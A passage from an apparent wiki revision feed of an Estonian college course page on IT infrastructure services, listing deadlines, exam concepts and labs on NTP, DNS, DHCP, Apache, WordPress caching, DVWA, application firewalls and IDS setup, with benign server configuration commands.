* Loo kaks virtualhosti nii http, kui ka https (self-signed cert) tarbeks.&lt;br /&gt;
** Mõlemad nimed peavad sirvijas töötama (desktop arvutis) nii http, kui ka https abil ja esilehel peab olema selgelt näha kumma virutalhostiga on tegemist. Seega index.html sisse lisa virtualhosti nimi.&lt;br /&gt;
&lt;br /&gt;
* Abimaterjalina võib sobida: Apache2 paigaldamine ja virtualhostide seadistamine [[Virtualhost apache2 näitel]]. Algajale lisamaterjal [[Veebiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
===Labor 5 - mõne veebirakenduse (nt Wordpress) paigaldamine ja turvamine varnishiga (10p/10%)===&lt;br /&gt;
&lt;br /&gt;
Labori eesmärgiks on paigaldada veebirakendus, mõõta selle jõudlust ja seejärel suurendada veebirakenduse jõudlust kasutades puhvermälu. Veebirakenduse ja puhvermälu võib iga tudeng ise valida. Näite teeme Wordpress ja WP SuperCace abil. Samas on väga soovitatav valida cache tehnoloogia ise, et erinevad inimesed saaksid võrrelda erinevaid asju.&lt;br /&gt;
&lt;br /&gt;
Wordpress paigaldamine ja jõudluse testimine (varnish) &lt;br /&gt;
*[https://docs.google.com/document/d/1AKVigVudVjxQuCz02i6p4Kv8oO4RD6aJiV9pbPuujZY/edit?pli=1  Wordpress paigaldamine]&lt;br /&gt;
**[[WordPress turvamine| Wordpress turvamine]]&lt;br /&gt;
**[http://wpdevshed.com/top-cache-plugins-wordpress/ Wordpress caching plugins]&lt;br /&gt;
**[[Varnish]]&lt;br /&gt;
***[[Apache logide seadistus]]&lt;br /&gt;
&lt;br /&gt;
===Labor 6 - DVWA paigaldamine ja OWASP testimine (10p/10%)===&lt;br /&gt;
&lt;br /&gt;
Paigaldage [[DVWA]].&lt;br /&gt;
&lt;br /&gt;
Loe läbi OWASP top 10 ja [http://enos.itcollege.ee/~ttanav/VRI/abiks/mysql_tut.php SQL põhitõed]&lt;br /&gt;
&lt;br /&gt;
Mõned videod:&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=CDbWvEwBBxo&lt;br /&gt;
&lt;br /&gt;
===Labor 7 - rakenduste tulemüürid (greensql ja mod_security baasil) (10p/10%)===&lt;br /&gt;
&lt;br /&gt;
===Labor 8 - IDS (10p/10%)===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistada IDS/IPS ühele oma valitud serverile ja demonstreeida ühe-kahe reegli toimimist.&lt;br /&gt;
&lt;br /&gt;
[[IDS_Systeemid_-_Labor_1| IDS Näitelahendus]]&lt;br /&gt;
&lt;br /&gt;
[[Suricata| Abistav materjal]]&lt;br /&gt;
&lt;br /&gt;
===Questid, millede eest saab punkte===&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1oRt9JLF6lcf_Z-ReHCfbZXnSoc-EOBzGprxvIyhq4qk/edit?usp=sharing Quest 1 (Läbi ja tehtud)]&lt;br /&gt;
&lt;br /&gt;
==Esitatud referaadid==&lt;br /&gt;
[[IT infrastruktuuri teenused 2013 kevad]]&lt;br /&gt;
&lt;br /&gt;
[[Wordpressi turvalisuse suurendamine]]&lt;br /&gt;
&lt;br /&gt;
==Juurteenuste kursus==&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused.html Interneti juurteenused]&lt;br /&gt;
&lt;br /&gt;
==Täiendav lugemismaterjal==&lt;br /&gt;
[https://zib.wooop.biz/category/asd/ Erinevad juhendmaterjalid Linuxi teenuste jm seadistamiseks. Autor Gert Vaikre A21]&lt;br /&gt;
&lt;br /&gt;
==Vanad loengumaterjalid==&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng00%20-%20Sissejuhatav%20loeng.odp Loeng 00 - Sissejuhatav loeng - NB Tähtajad ja nõuded]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng01%20-%20E-post.odp Loeng 01 E-post]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng03%20-%20Failiserver.odp Loeng 03 Failiserver]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Loeng 04 Veebiserver]&lt;br /&gt;
&lt;br /&gt;
[http://goo.gl/6XQ0U WordPress seadistamine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Loeng 05 Dokumentatsioon]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng06%20-%20VPN.odp Loeng 06 VPN]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng07%20-%20iptables.odp Loeng 07 Tulemüürid]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng08%20-%20SAN%20-%20NAS%20-%20CAS.odp Loeng 08 SAN NAS CAS]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng09%20-%20Virtualiseerimine.odp Loeng 09 Virtualiseerimine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng10%20-%20DHCP.odp Loeng 10 DHCP]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=89735</id>
		<title>Category:I375/I803/I853 IT Infrastructure services</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=89735"/>
		<updated>2015-06-09T20:36:57Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* Referaadi teemad 2015 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Üldinfo==&lt;br /&gt;
&lt;br /&gt;
Aine info: [https://itcollege.ois.ee/study-material/round?round_id=2230 IT infrastruktuuri teenused ÕIS leht]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/ Aine õppematerjalid]&lt;br /&gt;
&lt;br /&gt;
ECTS: 5&lt;br /&gt;
&lt;br /&gt;
Hindamisviis: Arvestus&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Rangelt soovituslik aine:&#039;&#039;&#039; Operatsioonisüsteemide administreerimine ja sidumine (I233)&lt;br /&gt;
&lt;br /&gt;
===Õppejõud===&lt;br /&gt;
&lt;br /&gt;
Margus Ernits  &amp;gt;&amp;gt;  margus (.) ernits (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
Katrin Loodus  &amp;gt;&amp;gt;  katrin (.) loodus (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
==Eesmärk ja sisu==&lt;br /&gt;
&lt;br /&gt;
Tutvustada IT infrastruktuuri teenuste põhimõisteid. Anda oskused põhiliste teenuste paigaldamiseks ja turvamiseks. Anda oskused IT infrastruktuuri teenuste dokumenteerimiseks.&lt;br /&gt;
Eesmärgi saavutamiseks toimuvad laboratoorsed tööd, mille käigus installeeritakse ja konfigureeritakse teenuseid pöörates rõhku teenuse turvalisusele, millele eelnevad loengud alus- ja põhimõistete tutvustamiseks.&lt;br /&gt;
&lt;br /&gt;
==Ainekaart==&lt;br /&gt;
&lt;br /&gt;
Ainekaardi viimase, kuid mitte lõpliku versiooni leiab [https://wiki.itcollege.ee/images/6/67/I385_IT_infrastruktuuri_teenused_aineprogramm_2013.odt siit]&lt;br /&gt;
&lt;br /&gt;
==Eelmiste aastate tagasiside==&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/e/e3/Tagasiside.p%C3%A4eva%C3%B5pe-2013.pdf 2013 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/4/4d/It-infra-tagasiside-2012-1.pdf 2012 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/2/28/It-infra-tagasiside-2012-2.pdf 2012 päevaõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
==Arvestus ja hindamine==&lt;br /&gt;
&lt;br /&gt;
Aine on jagatud praktilisteks ja teoreetilisteks töödeks. Kaheksaks (8) laboriks ning kaheks (2) teoreetiliseks kontrolltööks. &lt;br /&gt;
&lt;br /&gt;
Lisaks on tarvis teha eraldi dokumentatsiooni ehk ühe kaitstud labori kohta &#039;&#039;&#039;viki artikkel&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Praktiliste tööde&#039;&#039;&#039; hulka kuuluvad erinevate teenuste paigaldamine ning seadistamine. Ühe labori eest on võimalik saada maksimaalselt 6 punkti. &lt;br /&gt;
&lt;br /&gt;
* 2 punkt on võimalik saada teenuse seadistamise, paigaldamise ning suulise kaitsmise eest. (Õppejõud võib seadistust muuta ning paluda paranduste kohta selgitust)&lt;br /&gt;
* 4 punkti on võimalik saada, kui kaitsta oskuslikult konkreetse labori kohta käivad teoreetilised teadmised suuliselt õppejõule. (Küsimused esitab õppejõud)&lt;br /&gt;
* 6 punkti on võimalik saada, kui parandada konkreetse teema kohta käivat juhendit ning esitada tulemuse õppejõule. (Mõeldud ambitsioonikamatele tudengitele)&lt;br /&gt;
&lt;br /&gt;
Lävendiks on 2 punkt, mis tähendab praktilise osa teostust. Kui iga labori eest on ainult 2 punkt, tuleb teoreetilised teadmised kaitsta kontrolltöö käigus, aga kui iga labori eest on vähemalt 4 punkti, ei ole kontrolltööd tarvis teha. &lt;br /&gt;
&lt;br /&gt;
===Tähtajad päevaõppele 2015===&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): 16. märts&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6): 18. mai&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): ~20. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): 25. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: 16. märts&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2: 18. mai&lt;br /&gt;
&lt;br /&gt;
===Tähtajad kaugõppele 2015===&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): &lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6):&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: &lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2:&lt;br /&gt;
&lt;br /&gt;
==Loengud==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kaugõppe 2015. aasta kevadsemestri loengusalvestused on leitavad [https://echo360.e-ope.ee/ess/portal/section/57596897-5ba5-46cb-b1b2-b4a4619f5eb0 siit]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/loeng00%20-%20Sissejuhatav%20loeng.odp Sissejuhatav loeng] - &amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;NB siin on kirjas hindamiskriteeriumid ja tähtajad.&amp;lt;/span&amp;gt; Lisaks on kirjas kontrolltööde ajad ja muu aine läbimiseks oluline info. (Päevaõppes toimus 02.02.2014)&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused-ntp.html NTP teenus] (Päevaõppes toimus 02.02.2015)&lt;br /&gt;
&lt;br /&gt;
[https://www.us-cert.gov/ncas/alerts/TA14-013A NTP amplification Attack]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 1. Tähtaeg 9.02.2015. DNS loenguks lugeda läbi DNS põhimõisted järgnevatest materjalidest:&amp;lt;/span&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Kohustuslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS_ja_BIND&lt;br /&gt;
&lt;br /&gt;
Soovituslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.odp DNS loeng (OpenDocument)] [http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.pdf (PDF)]&lt;br /&gt;
&lt;br /&gt;
[http://elab.itcollege.ee:8000/infra/bind/ BIND9 konfiguratsiooni näitefailid]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS näide]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Infra%20loeng%20DHCP%202013.odp DHCP loeng]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit# DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/14Cj90aWN4n4MCO_zZlZzu0aHJeIDTPEfQgiDXIuMxF4/edit# DNS uuendamine DHCP abil]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Veebiserveri loeng] &lt;br /&gt;
&lt;br /&gt;
Screencast veebiserveri konfigureerimisest: &lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-1.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-2.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-3.ogv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 2. Tähtaeg 20.aprill.2015. Lugeda läbi [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20RC1.pdf OWASP top 10 2013] &amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Mõisted kontrolltööks ja arvestuseks==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Esimese kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*DNS mõistete kohta leiab infot: http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
*hostinimi (mis märgid on hostinimes lubatud ja kus?)&lt;br /&gt;
*host täisnimi&lt;br /&gt;
*domeeni täisnimi&lt;br /&gt;
*DNS&lt;br /&gt;
*A-kirje&lt;br /&gt;
*alias ehk CNAME&lt;br /&gt;
*puhverdamine&lt;br /&gt;
*dig ja selle kasutamine&lt;br /&gt;
*DNS spoofing&lt;br /&gt;
*domeen ja domeeninimi&lt;br /&gt;
*Authoritative ehk pädev server&lt;br /&gt;
*Forwarding ehk edastamine&lt;br /&gt;
*FQDN&lt;br /&gt;
*Host&lt;br /&gt;
*PTR-kirje&lt;br /&gt;
*rekursiivne lahendus&lt;br /&gt;
*primaarne server&lt;br /&gt;
*sekundaarne server&lt;br /&gt;
*open resolver&lt;br /&gt;
*kuidas nimelahendus töötab, kirjelda näiteks &amp;quot;kui veebisirvijas avatakse leht, siis mis võiks toimuda?&amp;quot;&lt;br /&gt;
*selgitage näitekonfi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$TTL    600&lt;br /&gt;
@       IN      SOA     planet.zz. root.planet.zz. (&lt;br /&gt;
                        3      ; Serial - Mida see tähendab?&lt;br /&gt;
                        3600   ; Refresh - Mida see tähendab?&lt;br /&gt;
                        8640   ; Retry - Mida see tähendab?&lt;br /&gt;
                        36000  ; Expire - Mida see tähendab?&lt;br /&gt;
                        3600 ) ; Negative Cache TTL - Mida see tähendab?&lt;br /&gt;
;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Teise kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*virtuaalhost&lt;br /&gt;
*http&lt;br /&gt;
*Kuidas toimub ssl/tls ühenduse algatamine?&lt;br /&gt;
*Mis vahe on sümmeetrilisel ja asümmeetrilisel krüpteerimisel?&lt;br /&gt;
*Mis vahe on avalikul võtmel ja sertifikaadil?&lt;br /&gt;
*https&lt;br /&gt;
*SNI&lt;br /&gt;
*IPS&lt;br /&gt;
*IDS&lt;br /&gt;
*Mis vahe on reflected XSS ja stored XSS rünnetel?&lt;br /&gt;
*Mis vahe on SQL injectionil ja blind SQL injectionil?&lt;br /&gt;
*Mis on secure cookie? (http://php.net/session.cookie-secure ;session.cookie_secure =)&lt;br /&gt;
*Mis tähendab, et küpsised on http_only?&lt;br /&gt;
*Kas XSS ründeid saab filtreerida andmebaasikihis, näiteks SQL tulemüüriga?&lt;br /&gt;
*Mis on CSRF ja kuidas see toimib?&lt;br /&gt;
*Mis on same origin policy?&lt;br /&gt;
&lt;br /&gt;
==Dokumentatsioon==&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Dokumentatsioonist (loeng)]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Aruannete%20hindamise%20juhend.pdf Hindamismaatriksi näide]&lt;br /&gt;
&lt;br /&gt;
==Referaadi teemad 2015==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[[w3af]] &lt;br /&gt;
*[[aptly]] -- http://www.aptly.info/&lt;br /&gt;
*[[dnf]] -- DNF package manager&lt;br /&gt;
*[[SQL tulemüürid]] -- Otsida erinevaid SQL tulemüüre ja kirjata nende põhiparameetrid&lt;br /&gt;
*[[sqlmap]]&lt;br /&gt;
*[[Kippo SSH Honeypot]]&lt;br /&gt;
*[[p0f]] http://tools.kali.org/information-gathering/p0f&lt;br /&gt;
*[[hping]] http://www.hping.org/&lt;br /&gt;
*[[Yersinia]] -  http://www.yersinia.net/&lt;br /&gt;
*[[WPScan]] - http://wpscan.org/&lt;br /&gt;
*[[Aircrack]]&lt;br /&gt;
*[[ntop]]&lt;br /&gt;
*[[Nikto]]&lt;br /&gt;
*[[Varnish]] - Artikkel on olemas, kuid vajab kaasajastamist (Artikli valimise korral kirjuta artikli algusesse suurelt: Kaasajastab &amp;lt;Sinu ees- ja perekonnanimi&amp;gt;, 2015, &amp;lt;rühm&amp;gt;&lt;br /&gt;
*[[DigiNotar]]&lt;br /&gt;
*[[Ipkungfu Tulemüür]]&lt;br /&gt;
*[[iodine]]&lt;br /&gt;
*[[fabric]]&lt;br /&gt;
*[[mpstat]]&lt;br /&gt;
*[[arpwatch]]&lt;br /&gt;
*[[ss]] &lt;br /&gt;
*[[glances]]&lt;br /&gt;
*[[mod_status]]&lt;br /&gt;
*[[smoothwall]]&lt;br /&gt;
*[[squid]]&lt;br /&gt;
&lt;br /&gt;
==Abimaterjal==&lt;br /&gt;
* [http://tools.ietf.org/html/rfc2131 RFC2131] &lt;br /&gt;
* [http://kuutorvaja.eenet.ee/wiki/Isc-dhcpd_server Kuutõrvaja DHCP materjal] &lt;br /&gt;
&lt;br /&gt;
Abimaterjal laboriks: &lt;br /&gt;
* Maskeraad [[Ufw]]&lt;br /&gt;
* DHCP serveri seadistamine [[DHCP]]&lt;br /&gt;
* [http://www.debian-administration.org/article/343/Configuring_Dynamic_DNS__DHCP_on_Debian_Stable Dünaamiline DNS kirjete uuendamine DHCP poolt]&lt;br /&gt;
* [http://debianclusters.org/index.php/Troubleshooting_DHCP DHCP probleemide lahendamine]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng11%20-%20Monitooring.odp Loeng 11 Monitooring]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng12%20-%20LDAP.odp Loeng 12 LDAP]&lt;br /&gt;
&lt;br /&gt;
==Praktilised tööd==&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/spreadsheets/d/1TiErlKTrnW3T_dcjceMyeLr9yCHBDwTmjXDxkAf1hDw/edit?usp=sharing Nimekiri] DNS labori masinate IP vahemikega ning domeeninimedega&lt;br /&gt;
&lt;br /&gt;
===Sissejuhatav praktikum===&lt;br /&gt;
&lt;br /&gt;
Valige endale domeeninimi, näiteks eikkasutaja.zz.&lt;br /&gt;
&lt;br /&gt;
Seadke DNS serverile IP aadress 192.168.56.201&lt;br /&gt;
 nano /etc/network/interfaces&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
  address 192.168.56.201&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Taaskäivitage võrguliides &#039;&#039;&#039;eth1&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 ifdown eth1 &amp;amp;&amp;amp; ifup eth1&lt;br /&gt;
&lt;br /&gt;
Muutke DNS serveril hostinimi ns.sinudomeen.&lt;br /&gt;
&lt;br /&gt;
 echo ns &amp;gt; /etc/hostname&lt;br /&gt;
&lt;br /&gt;
Muutke /etc/hosts failis masinanimi&lt;br /&gt;
&lt;br /&gt;
 127.0.1.1       ns.sinudomeen   ns&lt;br /&gt;
&lt;br /&gt;
Näiteks valisin oma domeeniks mernits.zz&lt;br /&gt;
&lt;br /&gt;
 127.0.1.1       ns.mernits.zz   ns&lt;br /&gt;
&lt;br /&gt;
Käivitage teenus &#039;&#039;&#039;hostname&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 service hostname start&lt;br /&gt;
&lt;br /&gt;
Korraldus hostname -f peab tagastama FQDN-i&lt;br /&gt;
&lt;br /&gt;
 hostname -f&lt;br /&gt;
&lt;br /&gt;
Seadistage ka [[OpenSSH:_võtmetega_autentimine| võtmetepõhine autentimine]].&lt;br /&gt;
&lt;br /&gt;
[[Image:Infra-a21-2015.png|thumb|Kasutatav võrk]]&lt;br /&gt;
&lt;br /&gt;
===Labor 1 - NTP seadistamine (6p/6%)===&lt;br /&gt;
&lt;br /&gt;
Loe läbi õppematerjal (loengud) ja seadista NTP teenus nii kliendis, kui ka serveris selliselt, et klient küsib aega ainult serverist (ja ka localhostist, mille prioriteet on madal e fudge 10) Server küsib aega EENET NTP serverist ja mõnest muust Eestis asuvast NTP serverist.&lt;br /&gt;
&lt;br /&gt;
Seadistage server selliselt, et ei välisvõrgust ei saa teha [https://www.us-cert.gov/ncas/alerts/TA14-013A siin] kirjeldatud rünnet.&lt;br /&gt;
&lt;br /&gt;
[[NTP Ubuntus]]&lt;br /&gt;
&lt;br /&gt;
===Labor 2 - DNS seadistamine (6p/6%)===&lt;br /&gt;
&lt;br /&gt;
*Mõtle välja endale domeeninimi&lt;br /&gt;
*Loo domeeninimele tsoonifail ja seadiste nimeserver&lt;br /&gt;
*Luba rekursiivne lahendus oma sisevõrgust&lt;br /&gt;
*Loo reevers tsoon&lt;br /&gt;
*Loo A kirjed e-posti, nimeserveri jaoks&lt;br /&gt;
*Loo CNAME kirjed www, samba ja oma severi jaoks&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS Näitelahendus 1]&lt;br /&gt;
&lt;br /&gt;
[[Nimeserveri labor V.2| DNS Näitelahendus 2]]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/dns/DNS_BIND.html Väike abiinfo lisaks loengule]&lt;br /&gt;
&lt;br /&gt;
Kaitsmisel pead oskama luua uut tsooni, lisama kirjeid, oskama kasutada rndc, dig, nslookup vahendeid.&lt;br /&gt;
&lt;br /&gt;
===Labor 3 - DHCP seadistamine (6p/6%)===&lt;br /&gt;
* DHCP paigaldamine ja seadistamine (6p)&lt;br /&gt;
&lt;br /&gt;
Seadista labori desktop VM saamaks IP aadressi ja nimeserverit sama labori serveri VM käest.&lt;br /&gt;
&lt;br /&gt;
PS: desktop võrguseadetest eemalda esimeselt liideselt nimelahenduse küsimine (küsitakse DHCP abil ainult IP aadress). Kui seda ei tee, siis lähevad DNS päringud ikkagi esimese, NAT liidese kaudu.&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
===Labor 4 - apache (või nginx) veebiserveri seadistamine (6p/6%)===&lt;br /&gt;
* Loo kaks virtualhosti nii http, kui ka https (self-signed cert) tarbeks.&lt;br /&gt;
** Mõlemad nimed peavad sirvijas töötama (desktop arvutis) nii http, kui ka https abil ja esilehel peab olema selgelt näha kumma virutalhostiga on tegemist. Seega index.html sisse lisa virtualhosti nimi.&lt;br /&gt;
&lt;br /&gt;
* Abimaterjalina võib sobida: Apache2 paigaldamine ja virtualhostide seadistamine [[Virtualhost apache2 näitel]]. Algajale lisamaterjal [[Veebiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
===Labor 5 - mõne veebirakenduse (nt Wordpress) paigaldamine ja turvamine varnishiga (10p/10%)===&lt;br /&gt;
&lt;br /&gt;
Labori eesmärgiks on paigaldada veebirakendus, mõõta selle jõudlust ja seejärel suurendada veebirakenduse jõudlust kasutades puhvermälu. Veebirakenduse ja puhvermälu võib iga tudeng ise valida. Näite teeme Wordpress ja WP SuperCace abil. Samas on väga soovitatav valida cache tehnoloogia ise, et erinevad inimesed saaksid võrrelda erinevaid asju.&lt;br /&gt;
&lt;br /&gt;
Wordpress paigaldamine ja jõudluse testimine (varnish) &lt;br /&gt;
*[https://docs.google.com/document/d/1AKVigVudVjxQuCz02i6p4Kv8oO4RD6aJiV9pbPuujZY/edit?pli=1  Wordpress paigaldamine]&lt;br /&gt;
**[[WordPress turvamine| Wordpress turvamine]]&lt;br /&gt;
**[http://wpdevshed.com/top-cache-plugins-wordpress/ Wordpress caching plugins]&lt;br /&gt;
**[[Varnish]]&lt;br /&gt;
***[[Apache logide seadistus]]&lt;br /&gt;
&lt;br /&gt;
===Labor 6 - DVWA paigaldamine ja OWASP testimine (10p/10%)===&lt;br /&gt;
&lt;br /&gt;
Paigaldage [[DVWA]].&lt;br /&gt;
&lt;br /&gt;
Loe läbi OWASP top 10 ja [http://enos.itcollege.ee/~ttanav/VRI/abiks/mysql_tut.php SQL põhitõed]&lt;br /&gt;
&lt;br /&gt;
Mõned videod:&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=CDbWvEwBBxo&lt;br /&gt;
&lt;br /&gt;
===Labor 7 - rakenduste tulemüürid (greensql ja mod_security baasil) (10p/10%)===&lt;br /&gt;
&lt;br /&gt;
===Labor 8 - IDS (10p/10%)===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistada IDS/IPS ühele oma valitud serverile ja demonstreeida ühe-kahe reegli toimimist.&lt;br /&gt;
&lt;br /&gt;
[[IDS_Systeemid_-_Labor_1| IDS Näitelahendus]]&lt;br /&gt;
&lt;br /&gt;
[[Suricata| Abistav materjal]]&lt;br /&gt;
&lt;br /&gt;
===Questid, millede eest saab punkte===&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1oRt9JLF6lcf_Z-ReHCfbZXnSoc-EOBzGprxvIyhq4qk/edit?usp=sharing Quest 1 (Läbi ja tehtud)]&lt;br /&gt;
&lt;br /&gt;
==Esitatud referaadid==&lt;br /&gt;
[[IT infrastruktuuri teenused 2013 kevad]]&lt;br /&gt;
&lt;br /&gt;
[[Wordpressi turvalisuse suurendamine]]&lt;br /&gt;
&lt;br /&gt;
==Juurteenuste kursus==&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused.html Interneti juurteenused]&lt;br /&gt;
&lt;br /&gt;
==Täiendav lugemismaterjal==&lt;br /&gt;
[https://zib.wooop.biz/category/asd/ Erinevad juhendmaterjalid Linuxi teenuste jm seadistamiseks. Autor Gert Vaikre A21]&lt;br /&gt;
&lt;br /&gt;
==Vanad loengumaterjalid==&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng00%20-%20Sissejuhatav%20loeng.odp Loeng 00 - Sissejuhatav loeng - NB Tähtajad ja nõuded]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng01%20-%20E-post.odp Loeng 01 E-post]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng03%20-%20Failiserver.odp Loeng 03 Failiserver]&lt;br /&gt;
&lt;br /&gt;
